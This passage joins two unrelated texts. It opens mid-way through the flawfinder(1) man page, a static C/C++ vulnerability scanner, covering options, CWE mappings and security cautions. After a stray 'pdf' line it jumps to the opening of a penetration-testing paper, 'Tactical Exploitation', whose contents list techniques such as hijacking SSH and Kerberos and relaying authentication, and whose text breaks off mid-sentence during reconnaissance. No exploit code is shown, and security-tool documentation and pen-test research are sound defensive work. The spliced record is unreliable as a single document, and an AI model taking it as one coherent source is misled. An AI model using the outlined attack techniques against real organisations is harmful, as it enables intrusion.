a patch file without the −P, because flawfinder will then try to treat the file as a source file. This will often work, but the line numbers will be relative to the beginning of the patch file, not the positions in the source code. Note that you must also provide the actual files to analyze, and not just the patch file; when using −P files are only reported if they are both listed in the patch and also listed (directly or indirectly) in the list of files to analyze. Selecting Hits to Display −−inputs −I Show only functions that obtain data from outside the program; this also sets minlevel to 0. Flawfinder 26 Aug 2017 4 FLAWFINDER(1) Flawfinder FLAWFINDER(1) −−minlevel=X -m X Set minimum risk level to X for inclusion in hitlist. This can be from 0 (‘‘no risk’’) to 5 (‘‘maxi- mum risk’’); the default is 1. −−falsepositive −F Do not include hits that are likely to be false positives. Currently, this means that function names are ignored if they’re not followed by "(", and that declarations of character arrays aren’t noted. Thus, if you have use a variable named "access" everywhere, this will eliminate references to this ordinary variable. This isn’t the default, because this also increases the likelihood of missing important hits; in particular, function names in #define clauses and calls through function pointers will be missed. −−neverignore -n Never ignore security issues, even if they hav e an ‘‘ignore’’ directive in a comment. −−regexp=PA TTERN -e PA TTERN Only report hits with text that matches the regular expression pattern PATTERN. For example, to only report hits containing the text "CWE-120", use ‘‘−−regex CWE-120’’. These option flag names are the same as grep. Selecting Output Format −−columns −C Show the column number (as well as the file name and line number) of each hit; this is shown after the line number by adding a colon and the column number in the line (the first character in a line is column number 1). This is useful for editors that can jump to specific columns, or for integrating with other tools (such as those to further filter out false posi- tives). −−context −c Show context, i.e., the line having the "hit"/potential flaw. By default the line is shown immediately after the warning. −−csv Generate output in comma-separated-value (CSV) format. This is the recommended format for sending to other tools for processing. It will always generate a header row, followed by 0 or more data rows (one data row for each hit). Selecting this option automatically enables −−quiet and −−dataonly. The headers are mostly self-explanatory. "File" is the filename, "Line" is the line number, "Column" is the column (starting from 1), "Level" is the risk level (0-5, 5 is riskiest), "Category" is the general flawfinder category, "Name" is the name of the triggering rule, "Warning" is text explaining why it is a hit (finding), "Suggestion" is text suggesting how it might be fixed, "Note" is other explanatory notes, "CWEs" is the list of one or more CWEs, "Context" is the source code line triggering the hit, and "Fingerprint" is the SHA-256 hash of the context once its leading and trailing whitespace have been removed (the fingerprint may help detect and eliminate later duplications). If you use Python3, the hash is of the context when encoded as UTF-8. −−dataonly Flawfinder 26 Aug 2017 5 FLAWFINDER(1) Flawfinder FLAWFINDER(1) −D Don’t display the header and footer. Use this along with −−quiet to see just the data itself. −−html −H Format the output as HTML instead of as simple text. −−immediate -i Immediately display hits (don’t just wait until the end). −−singleline -S Display as single line of text output for each hit. Useful for interacting with compilation tools. −−omittime Omit timing information. This is useful for regression tests of flawfinder itself, so that the output doesn’t vary depending on how long the analysis takes. −−quiet −Q Don’t display status information (i.e., which files are being examined) while the analysis is going on. Hitlist Management −−savehitlist=F Save all resulting hits (the "hitlist") to F. −−loadhitlist=F Load the hitlist from F instead of analyzing source programs. Warning: Do not load hitlists from untrusted sources (for security reasons). These are internally implemented using Python’s "pickle" facility, which trusts the input. Note that stored hitlists often cannot be read when using an older version of Python, in particular, if sav ehitlist was used but flawfinder was run using Python 3, the hitlist can’t be loaded by running flawfinder with Python 2. −−diffhitlist=F Show only hits (loaded or analyzed) not in F. F was presumably created previously using −−savehitlist. Warning: Do not diff hitlists from untrusted sources (for security reasons). If the −−loadhitlist option is not provided, this will show the hits in the analyzed source code files that were not previously stored in F. If used along with −−loadhitlist, this will show the hits in the loaded hitlist not in F. The difference algorithm is conservative; hits are only con- sidered the ‘‘same’’ if they hav e the same filename, line number, column position, function name, and risk level. Character Encoding Flawfinder presumes that the character encoding your system uses is also the character encoding used by your source files. Even if this isn’t correct, if you run flawfinder with Python 2 these non-conformities often do not impact processing in practice. However, if you run flawfinder with Python 3, this can be a problem. Python 3 wants the world to always use encodings perfectly correctly, everywhere, even though the world often doesn’t care what Python 3 wants. This is a problem even if the non-conforming text is in comments or strings (where it often doesn’t Flawfinder 26 Aug 2017 6 FLAWFINDER(1) Flawfinder FLAWFINDER(1) matter). Python 3 fails to provide useful built-ins to deal with the messiness of the real world, so it’s non- trivial to deal with this problem without depending on external libraries (which we’re trying to avoid). A symptom of this problem is if you run flawfinder and you see an error message like this: UnicodeDecodeError: ’utf-8’ codec can’t decode byte ... in position ...: invalid continuation byte If this happens to you, there are several options. The first option is to convert the encoding of the files to be analyzed so that it’s a single encoding (usually the system encoding). For example, the program "iconv" can be used to convert encodings. This works well if some files have one encoding, and some have another, but they are consistent within a single file. If the files have encoding errors, you’ll have to fix them. I strongly recommend using the UTF-8 encoding for any source code; if you do that, many problems disappear. The second option is to tell flawfinder what the encoding of the files is. E.G., you can set the LANG envi- ronment variable. You can set PYTHONIOENCODING to the encoding you want your output to be in, if that’s different. This in theory would work well, but I haven’t had much success with this. The third option is to run flawfinder using Python 2 instead of Python 3. E.g., "python2 flawfinder ...". EXAMPLES Here are various examples of how to inv oke flawfinder. The first examples show various simple command- line options. Flawfinder is designed to work well with text editors and integrated development environ- ments, so the next sections show how to integrate flawfinder into vim and emacs. Simple command-line options flawfinder /usr/src/linux-3.16 Examine all the C/C++ files in the directory /usr/src/linux-3.16 and all its subdirectories (recursively), reporting on all hits found. By default flawfinder will skip symbolic links and directories with names that start with a period. flawfinder −−minlevel=4 . Examine all the C/C++ files in the current directory and its subdirectories (recursively); only report vulnerabilities level 4 and up (the two highest risk levels). flawfinder −−inputs mydir Examine all the C/C++ files in mydir and its subdirectories (recursively), and report func- tions that take inputs (so that you can ensure that they filter the inputs appropriately). flawfinder −−neverignore mydir Examine all the C/C++ files in the directory mydir and its subdirectories, including even the hits marked for ignoring in the code comments. flawfinder −−csv . Examine the current directory down (recursively), and report all hits in CSV format. This is the recommended form if you want to further process flawfinder output using other tools (such as data correlation tools). flawfinder −QD mydir Examine mydir and report only the actual results (removing the header and footer of the out- put). This form may be useful if the output will be piped into other tools for further Flawfinder 26 Aug 2017 7 FLAWFINDER(1) Flawfinder FLAWFINDER(1) analysis, though CSV format is probably the better choice in that case. The −C (−−columns) and −S (−−singleline) options can also be useful if you’re piping the data into other tools. flawfinder −QDSC mydir Examine mydir, reporting only the actual results (no header or footer). Each hit is reported on one line, and column numbers are reported. This can be a useful command if you are feeding flawfinder output to other tools. flawfinder −−quiet −−html −−context mydir > results.html Examine all the C/C++ files in the directory mydir and its subdirectories, and produce an HTML formatted version of the results. Source code management systems (such as Source- Forge and Savannah) might use a command like this. flawfinder −−quiet −−savehitlist saved.hits *.[ch] Examine all .c and .h files in the current directory. Don’t report on the status of processing, and save the resulting hitlist (the set of all hits) in the file saved.hits. flawfinder −−diffhitlist saved.hits *.[ch] Examine all .c and .h files in the current directory, and show any hits that weren’t already in the file saved.hits. This can be used to show only the ‘‘new’’ vulnerabilities in a modified program, if saved.hits was created from the older version of the program being analyzed. flawfinder −−patch recent.patch . Examine the current directory recursively, but only report lines that were changed or added in the already-applied patchfile named recent.patch. flawfinder −−regex "CWE-120|CWE-126" src/ Examine directory src recursively, but only report hits where CWE-120 or CWE-126 apply. Invoking from vim The text editor vim includes a "quickfix" mechanism that works well with flawfinder, so that you can easily view the warning messages and jump to the relevant source code. First, you need to invoke flawfinder to create a list of hits, and there are two ways to do this. The first way is to start flawfinder first, and then (using its output) invoke vim. The second way is to start (or continue to run) vim, and then invoke flawfinder (typically from inside vim). For the first way, run flawfinder and store its output in some FLAWFILE (say "flawfile"), then invoke vim using its -q option, like this: "vim -q flawfile". The second way (starting flawfinder after starting vim) can be done a legion of ways. One is to invoke flawfinder using a shell command, ":!flawfinder-command > FLAWFILE", then follow that with the command ":cf FLAWFILE". Another way is to store the flawfinder command in your makefile (as, say, a pseudocommand like "flaw"), and then run ":make flaw". In all these cases you need a command for flawfinder to run. A plausible command, which places each hit in its own line (-S) and removes headers and footers that would confuse it, is: flawfinder −SQD . You can now use various editing commands to view the results. The command ":cn" displays the next hit; ":cN" displays the previous hit, and ":cr" rewinds back to the first hit. ":copen" will open a window to show the current list of hits, called the "quickfix window"; ":cclose" will close the quickfix window. If the buffer in the used window has changed, and the error is in another file, jumping to the error will fail. You have to make sure the window contains a buffer which can be abandoned before trying to jump to a new file, say by saving the file; this prevents accidental data loss. Flawfinder 26 Aug 2017 8 FLAWFINDER(1) Flawfinder FLAWFINDER(1) Invoking from emacs The text editor / operating system emacs includes "grep mode" and "compile mode" mechanisms that work well with flawfinder, making it easy to view warning messages, jump to the relevant source code, and fix any problems you find. First, you need to invoke flawfinder to create a list of warning messages. You can use "grep mode" or "compile mode" to create this list. Often "grep mode" is more convenient; it leaves compile mode untouched so you can easily recompile once you’ve changed something. However, if you want to jump to the exact column position of a hit, compile mode may be more convenient because emacs can use the col- umn output of flawfinder to directly jump to the right location without any special configuration. To use grep mode, enter the command "M-x grep" and then enter the needed flawfinder command. To use compile mode, enter the command "M-x compile" and enter the needed flawfinder command. This is a meta-key command, so you’ll need to use the meta key for your keyboard (this is usually the ESC key). As with all emacs commands, you’ll need to press RETURN after typing "grep" or "compile". So on many systems, the grep mode is invoked by typing ESC x g r e p RETURN. You then need to enter a command, removing whatever was there before if necessary. A plausible com- mand is: flawfinder −SQDC . This command makes every hit report a single line, which is much easier for tools to handle. The quiet and dataonly options remove the other status information not needed for use inside emacs. The trailing period means that the current directory and all descendents are searched for C/C++ code, and analyzed for flaws. Once you’ve inv oked flawfinder, you can use emacs to jump around in its results. The command C-x ` (Control-x backtick) visits the source code location for the next warning message. C-u C-x ` (control-u control-x backtick) restarts from the beginning. You can visit the source for any particular error message by moving to that hit message in the *compilation* buffer or *grep* buffer and typing the return key. (Technical note: in the compilation buffer, this invokes compile-goto-error.) You can also click the Mouse-2 button on the error message (you don’t need to switch to the *compilation* buffer first). If you want to use grep mode to jump to specific columns of a hit, you’ll need to specially configure emacs to do this. To do this, modify the emacs variable "grep-regexp-alist". This variable tells Emacs how to parse output of a "grep" command, similar to the variable "compilation-error-regexp-alist" which lists vari- ous formats of compilation error messages. Invoking from Integrated Development Environments (IDEs) For (other) IDEs, consult your IDE’s set of plug-ins. COMMON WEAKNESS ENUMERATION (CWE) The Common Weakness Enumeration (CWE) is ‘‘a formal list or dictionary of common software weak- nesses that can occur in software’s architecture, design, code or implementation that can lead to exploitable security vulnerabilities... created to serve as a common language for describing software security weak- nesses’’ (http://cwe.mitre.org/about/faq.html). For more information on CWEs, see http://cwe.mitre.org. Flawfinder supports the CWE and is officially CWE-Compatible. Hit descriptions typically include a rele- vant Common Weakness Enumeration (CWE) identifier in parentheses where there is known to be a rele- vant CWE. For example, many of the buffer-related hits mention CWE-120, the CWE identifier for ‘‘buffer copy without checking size of input’’ (aka ‘‘Classic Buffer Overflow’’). In a few cases more than one CWE identifier may be listed. The HTML report also includes hypertext links to the CWE definitions hosted at MITRE. In this way, flawfinder is designed to meet the CWE-Output requirement. In some cases there are CWE mapping and usage challenges; here is how flawfinder handles them. If the same entry maps to multiple CWEs simultaneously, all the CWE mappings are listed as separated by com- mas. This often occurs with CWE-20, Improper Input Validation; thus the report "CWE-676, CWE-120" maps to two CWEs. In addition, flawfinder provides additional information for those who are are interested in the CWE/SANS top 25 list 2011 (http://cwe.mitre.org/top25/) when mappings are not directly to them. Flawfinder 26 Aug 2017 9 FLAWFINDER(1) Flawfinder FLAWFINDER(1) Many people will want to search for specific CWEs in this top 25 list, such as CWE-120 (classic buffer overflow). The challenge is that some flawfinder hits map to a more general CWE that would include a top 25 item, while in some other cases hits map to a more specific vulnerability that is only a subset of a top 25 item. To resolve this, in some cases flawfinder will list a sequence of CWEs in the format "more-gen- eral/more-specific", where the CWE actually being mapped is followed by a "!". This is always done whenever a flaw is not mapped directly to a top 25 CWE, but the mapping is related to such a CWE. So "CWE-119!/CWE-120" means that the vulnerability is mapped to CWE-119 and that CWE-120 is a subset of CWE-119. In contrast, "CWE-362/CWE-367!" means that the hit is mapped to CWE-367, a subset of CWE-362. Note that this is a subtle syntax change from flawfinder version 1.31; in flawfinder version 1.31, the form "more-general:more-specific" meant what is now listed as "more-general!/more-specific", while "more-general/more-specific" meant "more-general/more-specific!". Tools can handle both the version 1.31 and the current format, if they wish, by noting that the older format did not use "!" at all (and thus this is easy to distinguish). These mapping mechanisms simplify searching for certain CWEs. CWE version 2.7 (released June 23, 2014) was used for the mapping. The current CWE mappings select the most specific CWE the tool can determine. In theory, most CWE security elements (signatures/patterns that the tool searches for) could theoretically be mapped to CWE-676 (Use of Potentially Dangerous Func- tion), but such a mapping would not be useful. Thus, more specific mappings were preferred where one could be found. Flawfinder is a lexical analysis tool; as a result, it is impractical for it to be more specific than the mappings currently implemented. This also means that it is unlikely to need much updating for map currency; it simply doesn’t hav e enough information to refine to a detailed CWE level that CWE changes would typically affect. The list of CWE identifiers was generated automatically using "make show-cwes", so there is confidence that this list is correct. Please report CWE mapping problems as bugs if you find any. Flawfinder may fail to find a vulnerability, even if flawfinder covers one of these CWE weaknesses. That said, flawfinder does find vulnerabilities listed by the CWEs it covers, and it will not report lines without those vulnerabilities in many cases. Thus, as required for any tool intending to be CWE compatible, flawfinder has a rate of false positives less than 100% and a rate of false negatives less than 100%. Flawfinder almost always reports whenever it finds a match to a CWE security element (a signature/pattern as defined in its database), though certain obscure constructs can cause it to fail (see BUGS below). Flawfinder can report on the following CWEs (these are the CWEs that flawfinder covers; ‘‘*’’ marks those in the CWE/SANS top 25 list): • CWE-20: Improper Input Validation • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘‘Path Traversal’’) • CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘‘OS Command Injec- tion’’)* • CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (a parent of CWE-120*, so this is shown as CWE-119!/CWE-120) • CWE-120: Buffer Copy without Checking Size of Input (‘‘Classic Buffer Overflow’’)* • CWE-126: Buffer Over-read • CWE-134: Uncontrolled Format String* • CWE-190: Integer Overflow or Wraparound* • CWE-250: Execution with Unnecessary Privileges • CWE-327: Use of a Broken or Risky Cryptographic Algorithm* • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (‘‘Race Condi- tion’’) • CWE-377: Insecure Temporary File • CWE-676: Use of Potentially Dangerous Function* Flawfinder 26 Aug 2017 10 FLAWFINDER(1) Flawfinder FLAWFINDER(1) • CWE-732: Incorrect Permission Assignment for Critical Resource* • CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (child of CWE-120*, so this is shown as CWE-120/CWE-785) • CWE-807: Reliance on Untrusted Inputs in a Security Decision* • CWE-829: Inclusion of Functionality from Untrusted Control Sphere* You can select a specific subset of CWEs to report by using the ‘‘−−regex’’ (-e) option. This option accepts a regular expression, so you can select multiple CWEs, e.g., ‘‘−−regex "CWE-120|CWE-126"’’. If you select multiple CWEs with ‘‘|’’ on a command line you will typically need to quote the parameters (since an unquoted ‘‘|’’ is the pipe symbol). Flawfinder is designed to meet the CWE-Searchable requirement. If your goal is to report a subset of CWEs that are listed in a file, that can be achieved on a Unix-like sys- tem using the ‘‘−−regex’’ aka ‘‘−e’’ option. The file must be in regular expression format. For example, ‘‘flawfinder -e $(cat file1)’’ would report only hits that matched the pattern in ‘‘file1’’. If file1 contained ‘‘CWE-120|CWE-126’’ it would only report hits matching those CWEs. A list of all CWE security elements (the signatures/patterns that flawfinder looks for) can be found by using the ‘‘−−listrules’’ option. Each line lists the signature token (typically a function name) that may lead to a hit, the default risk level, and the default warning (which includes the default CWE identifier). For most purposes this is also enough if you want to see what CWE security elements map to which CWEs, or the reverse. For example, to see the most of the signatures (function names) that map to CWE-327, without seeing the default risk level or detailed warning text, run ‘‘flawfinder −−listrules | grep CWE-327 | cut -f1’’. You can also see the tokens without a CWE mapping this way by running ‘‘flawfinder -D --listrules | grep -v CWE-’’. However, while −−listrules lists all CWE security elements, it only lists the default mappings from CWE security elements to CWE identifiers. It does not include the refinements that flawfinder applies (e.g., by examining function parameters). If you want a detailed and exact mapping between the CWE security elements and CWE identifiers, the flawfinder source code (included in the distribution) is the best place for that information. This detailed information is primarily of interest to those few people who are trying to refine the CWE mappings of flawfinder or refine CWE in general. The source code documents the mapping between the security ele- ments to the respective CWE identifiers, and is a single Python file. The ‘‘c_rules’’ dataset defines most rules, with reference to a function that may make further refinements. You can search the dataset for func- tion names to see what CWE it generates by default; if first parameter is not ‘‘normal’’ then that is the name of a refining Python method that may select different CWEs (depending on additional information). Con- versely, you can search for ‘‘CWE-number’’ and find what security elements (signatures or patterns) refer to that CWE identifier. For most people, this is much more than they need; most people just want to scan their source code to quickly find problems. SECURITY The whole point of this tool is to help find vulnerabilities so they can be fixed. However, dev elopers and reviewers must know how to dev elop secure software to use this tool, because otherwise, a fool with a tool is still a fool. My book at http://www.dwheeler.com/secure-programs may help. This tool should be, at most, a small part of a larger software development process designed to eliminate or reduce the impact of vulnerabilities. Developers and reviewers need know how to dev elop secure software, and they need to apply this knowledge to reduce the risks of vulnerabilities in the first place. Different vulnerability-finding tools tend to find different vulnerabilities. Thus, you are best off using human review and a variety of tools. This tool can help find some vulnerabilities, but by no means all. You should always analyze a copy of the source program being analyzed, not a directory that can be modi- fied by a developer while flawfinder is performing the analysis. This is especially true if you don’t necess- ily trust a developer of the program being analyzed. If an attacker has control over the files while you’re analyzing them, the attacker could move files around or change their contents to prevent the exposure of a security problem (or create the impression of a problem where there is none). If you’re worried about Flawfinder 26 Aug 2017 11 FLAWFINDER(1) Flawfinder FLAWFINDER(1) malicious programmers you should do this anyway, because after analysis you’ll need to verify that the code eventually run is the code you analyzed. Also, do not use the −−allowlink option in such cases; attackers could create malicious symbolic links to files outside of their source code area (such as /etc/passwd). Source code management systems (like GitHub, SourceForge, and Savannah) definitely fall into this cate- gory; if you’re maintaining one of those systems, first copy or extract the files into a separate directory (that can’t be controlled by attackers) before running flawfinder or any other code analysis tool. Note that flawfinder only opens regular files, directories, and (if requested) symbolic links; it will never open other kinds of files, even if a symbolic link is made to them. This counters attackers who insert unusual file types into the source code. However, this only works if the filesystem being analyzed can’t be modified by an attacker during the analysis, as recommended above. This protection also doesn’t work on Cygwin platforms, unfortunately. Cygwin systems (Unix emulation on top of Windows) have an additional problem if flawfinder is used to analyze programs that the analyst cannot trust. The problem is due to a design flaw in Windows (that it inherits from MS-DOS). On Windows and MS-DOS, certain filenames (e.g., ‘‘com1’’) are automatically treated by the operating system as the names of peripherals, and this is true even when a full pathname is given. Yes, Windows and MS-DOS really are designed this badly. Flawfinder deals with this by checking what a filesystem object is, and then only opening directories and regular files (and symlinks if enabled). Unfortunately, this doesn’t work on Cygwin; on at least some versions of Cygwin on some versions of Win- dows, merely trying to determine if a file is a device type can cause the program to hang. A workaround is to delete or rename any filenames that are interpreted as device names before performing the analysis. These so-called ‘‘reserved names’’ are CON, PRN, AUX, CLOCK$, NUL, COM1-COM9, and LPT1-LPT9, optionally followed by an extension (e.g., ‘‘com1.txt’’), in any directory, and in any case (Windows is case-insensitive). Do not load or diff hitlists from untrusted sources. They are implemented using the Python pickle module, and the pickle module is not intended to be secure against erroneous or maliciously constructed data. Stored hitlists are intended for later use by the same user who created the hitlist; in that context this restric- tion is not a problem. BUGS Flawfinder is based on simple text pattern matching, which is part of its fundamental design and not easily changed. This design approach leads to a number of fundamental limitations, e.g., a higher false positive rate, and is the underlying cause of most of the bugs listed here. On the positive side, flawfinder doesn’t get confused by many complicated preprocessor sequences that other tools sometimes choke on; flawfinder can often handle code that cannot link, and sometimes cannot even compile or build. Flawfinder is currently limited to C/C++. In addition, when analyzing C++ it focuses primarily on the C subset of C++. For example, flawfinder does not report on expressions like cin >> charbuf, where charbuf is a char array. That is because flawfinder doesn’t hav e type information, and ">>" is safe with many other types; reporting on all ">>" would lead to too many false positives. That said, it’s designed so that adding support for other languages should be easy where its text-based approach can usefully apply. Flawfinder can be fooled by user-defined functions or method names that happen to be the same as those defined as ‘‘hits’’ in its database, and will often trigger on definitions (as well as uses) of functions with the same name. This is typically not a problem for C code. In C code, a function with the same name as a common library routine name often indicates that the developer is simply rewriting a common library rou- tine with the same interface, say for portability’s sake. C programs tend to avoid reusing the same name for a different purpose (since in C function names are global by default). There are reasonable odds that these rewritten routines will be vulnerable to the same kinds of misuse, and thus, reusing these rules is a reason- able approach. However, this can be a much more serious problem in C++ code which heavily uses classes and namespaces, since the same method name may have many different meanings. The −−falsepositive option can help somewhat in this case. If this is a serious problem, feel free to modify the program, or process the flawfinder output through other tools to remove the false positives. Flawfinder 26 Aug 2017 12 FLAWFINDER(1) Flawfinder FLAWFINDER(1) Preprocessor commands embedded in the middle of a parameter list of a call can cause problems in parsing, in particular, if a string is opened and then closed multiple times using an #ifdef .. #else construct, flawfinder gets confused. Such constructs are bad style, and will confuse many other tools too. If you must analyze such files, rewrite those lines. Thankfully, these are quite rare. Some complex or unusual constructs can mislead flawfinder. In particular, if a parameter begins with get- text(" and ends with ), flawfinder will presume that the parameter of gettext is a constant. This means it will get confused by patterns like gettext("hi") + function("bye"). In practice, this doesn’t seem to be a problem; gettext() is usually wrapped around the entire parameter. The routine to detect statically defined character arrays uses simple text matching; some complicated expressions can cause it to trigger or not trigger unexpectedly. Flawfinder looks for specific patterns known to be common mistakes. Flawfinder (or any tool like it) is not a good tool for finding intentionally malicious code (e.g., Trojan horses); malicious programmers can easily insert code that would not be detected by this kind of tool. Flawfinder looks for specific patterns known to be common mistakes in application code. Thus, it is likely to be less effective analyzing programs that aren’t application-layer code (e.g., kernel code or self-hosting code). The techniques may still be useful; feel free to replace the database if your situation is significantly different from normal. Flawfinder’s default output format (filename:linenumber, followed optionally by a :columnnumber) can be misunderstood if any source files have very weird filenames. Filenames embedding a newline/linefeed character will cause odd breaks, and filenames including colon (:) are likely to be misunderstood. This is especially important if flawfinder’s output is being used by other tools, such as filters or text editors. If you are using flawfinder’s output in other tools, consider using its CSV format instead (which can handle this). If you’re looking at new code, examine the files for such characters. It’s incredibly unwise to have such filenames anyway; many tools can’t handle such filenames at all. Newline and linefeed are often used as internal data delimeters. The colon is often used as special characters in filesystems: MacOS uses it as a directory separator, Windows/MS-DOS uses it to identify drive letters, Windows/MS-DOS inconsistently uses it to identify special devices like CON:, and applications on many platforms use the colon to identify URIs/URLs. Filenames including spaces and/or tabs don’t cause problems for flawfinder, though note that other tools might have problems with them. Flawfinder is not internationalized, so it currently does not support localization. In general, flawfinder attempts to err on the side of caution; it tends to report hits, so that they can be exam- ined further, instead of silently ignoring them. Thus, flawfinder prefers to have false positives (reports that turn out to not be problems) rather than false negatives (failures to report security vulnerabilities). But this is a generality; flawfinder uses simplistic heuristics and simply can’t get everything "right". Security vulnerabilities might not be identified as such by flawfinder, and conversely, some hits aren’t really security vulnerabilities. This is true for all static security scanners, and is especially true for tools like flawfinder that use a simple lexical analysis and pattern analysis to identify potential vulnerabilities. Still, it can serve as a useful aid for humans, helping to identify useful places to examine further, and that’s the point of this simple tool. SEE ALSO See the flawfinder website at http://www.dwheeler.com/flawfinder. You should also see the Secure Pro- gramming HOWTO at http://www.dwheeler.com/secure-programs. AUTHOR David A. Wheeler ([email protected]). Flawfinder 26 Aug 2017 13
pdf
Tactical Exploitation ”The Other Way to Pen-Test” http://metasploit.com/confs/ H D Moore (hdm[at]metasploit.com) Valsmith (valsmith[at]metasploit.com) Last modified: 06/27/2007 Contents 1 Introduction 2 1.1 Abstract . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 The Tactical Approach 3 2.1 Vulnerabilties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Competition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 3 Information Discovery 4 3.1 Personnel Discovery . . . . . . . . . . . . . . . . . . . . . . . . . 4 3.1.1 Search Engines . . . . . . . . . . . . . . . . . . . . . . . . 4 3.1.2 Paterva’s Evolution . . . . . . . . . . . . . . . . . . . . . 5 3.2 Network Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3.2.1 Discovery Services . . . . . . . . . . . . . . . . . . . . . . 5 3.2.2 Bounce Messages . . . . . . . . . . . . . . . . . . . . . . . 6 3.2.3 Virtual Hosting . . . . . . . . . . . . . . . . . . . . . . . . 7 3.2.4 Outbound DNS . . . . . . . . . . . . . . . . . . . . . . . . 8 3.2.5 Direct Contact . . . . . . . . . . . . . . . . . . . . . . . . 8 3.3 Firewalls and IPS . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3.3.1 Firewall Identification . . . . . . . . . . . . . . . . . . . . 9 3.3.2 IPS Identification . . . . . . . . . . . . . . . . . . . . . . . 9 3.4 Application Discovery . . . . . . . . . . . . . . . . . . . . . . . . 9 3.4.1 Slow and Steady wins the Deface . . . . . . . . . . . . . . 10 3.4.2 Finding Web Apps with W3AF . . . . . . . . . . . . . . . 10 3.4.3 Metasploit 3 Discovery Modules . . . . . . . . . . . . . . 10 3.5 Client Application Discovery . . . . . . . . . . . . . . . . . . . . 10 3.5.1 Browser Fingerprinting . . . . . . . . . . . . . . . . . . . 11 3.5.2 Mail Client Fingerprinting . . . . . . . . . . . . . . . . . . 11 3.6 Process Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.6.1 Traffic Monitoring with IP IDs . . . . . . . . . . . . . . . 12 3.6.2 Usage Monitoring with MS FTP . . . . . . . . . . . . . . 12 3.6.3 Web Site Monitoring with HTTP . . . . . . . . . . . . . . 13 1 4 Information Exploitation 14 4.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 4.2 External Networks . . . . . . . . . . . . . . . . . . . . . . . . . . 14 4.2.1 Attacking File Transfers . . . . . . . . . . . . . . . . . . . 14 4.2.2 Attacking Mail Services . . . . . . . . . . . . . . . . . . . 15 4.2.3 Attacking Web Servers . . . . . . . . . . . . . . . . . . . . 15 4.2.4 Attacking DNS Servers . . . . . . . . . . . . . . . . . . . 16 4.2.5 Attacking Database Servers . . . . . . . . . . . . . . . . . 16 4.2.6 Authentication Relays . . . . . . . . . . . . . . . . . . . . 16 4.2.7 Free Hardware . . . . . . . . . . . . . . . . . . . . . . . . 17 4.3 Internal Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 4.3.1 NetBIOS Names . . . . . . . . . . . . . . . . . . . . . . . 17 4.3.2 DNS Servers . . . . . . . . . . . . . . . . . . . . . . . . . 18 4.3.3 WINS Servers . . . . . . . . . . . . . . . . . . . . . . . . . 18 4.3.4 Authentication Relays . . . . . . . . . . . . . . . . . . . . 18 4.4 Trust Relationships . . . . . . . . . . . . . . . . . . . . . . . . . . 18 4.4.1 NFS Home Directories . . . . . . . . . . . . . . . . . . . . 20 4.4.2 Hijacking SSH . . . . . . . . . . . . . . . . . . . . . . . . 20 4.4.3 Hijacking Kerberos . . . . . . . . . . . . . . . . . . . . . . 21 5 Conclusion 24 2 Chapter 1 Introduction 1.1 Abstract Penetration testing often focuses on individual vulnerabilities and services. This paper introduces a tactical approach that does not rely on exploiting known vulnerabilities. Using combination of new tools and obscure techniques, we will walk through the process of compromising an organization without the use of normal exploit code. Many of the tools will be made available as new modules for the Metasploit Framework. 1.2 Background The authors of this paper have been involved in security auditing and penetra- tion testing for the last ten years. A common trend among security staff is the use of off-the-shelf software to automate the penetration test process. Tools like Nessus, Retina, and Core Impact have replaced manual audits and checklists at many organizations. While these tools do a great job of reducing the time and knowledge require- ments of the penetration tester, their use can lead to a certain lazyness among the security staff. Many valuable compromise vectors can be missed because they are not part of the ”canned” product. This paper is intended to shine some light on the more obscure and less-used techniques that the authors have depended on for many years. The exploit techniques listed in this paper depend solely on the configuration of the target and the features of the target platform. No ”0day” will be dropped in the normal sense, but many tips, tricks, and interesting attacks will be covered. 3 Chapter 2 The Tactical Approach 2.1 Vulnerabilties Vulnerabilities are transient. What is found one day may be patched on the next. Security software and operating system improvements can make even simple vulnerabilities unusable for a penetration test. Instead of treating a network like a list of vulnerabilities, an auditor should consider the applications, the people, the processes, and the trusts. The key to gaining access is to use what is available to bring you closer to the next goal. Using this approach, even a fully-patched network will provide exploitable targets. Hacking is not about exploits. As many professional auditors know, only one or two real exploits may be used during the a penetration test. The rest of the time is spent obtaining passwords, abusing trust relationships, tricking authentication systems, and hijacking services to gain access to more systems. A successful attack has everything to do with gaining access and control of data. 2.2 Competition Any security test is a race against time. An auditor faces competition from real attackers, internal and external, that are not bound by the same scope and restrictions as themselves. For example, as a business practice, a security test must not interfere with production services or modify critical data. Attackers are opportunists. Whether a server is hosted locally or on a third-party is not a concern. Their only concern is gaining access to the data and controls they seek. Anything the auditor does not test, he must assume someone else will. 4 Chapter 3 Information Discovery The first step to any security engagement is the initial discovery process. This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc. This chapter discusses a variety of discovery techniques, starting from the outside, leading in, that can be used to plan and initiate a penetration test. 3.1 Personnel Discovery Security is a people problem, first and foremost. People are responsible for writ- ing software, installing that software, and providing configuration and mainte- nance. When performing a penetration test against an organization, the first step is to identify the people involved in creating and maintaining the infras- tructure. Fortunately, a number of great tools and services exist that can be used to identify the gatekeepers of a given organization. 3.1.1 Search Engines Google is still one of the best resources available for information discovery. Searching for an organization’s name across the web can provide a list of web sites and services provided by that organization. Searching for the name across newsgroup archives can provide a list of past and current employees. Newsgroup posts often include the full title and username of employee as part of the post content. Image searches can sometimes yield pictures of the people, officies, and even occasionally server rooms. 5 3.1.2 Paterva’s Evolution Paterva[1], a South African company headed by Roelof Temmingh , provides a great tool called Evolution. At this time, Evolution is still in the beta phase, but a live web interface is hosted at http://www.paterva.com/evolution.html. Evolution is able to cross-reference information from a large set of public data source, using a wide variety of seed values (Name, Phone Numer, Email Address, etc). For example, a search for ”HD Moore” (one of the authors), returned a list of web sites, valid email addresses, and PGP keys. 3.2 Network Discovery Given the name of an organization, discovering what networks are under their control can be a challenge. Starting with the results of the Personnel Discovery phase, the typical process involves 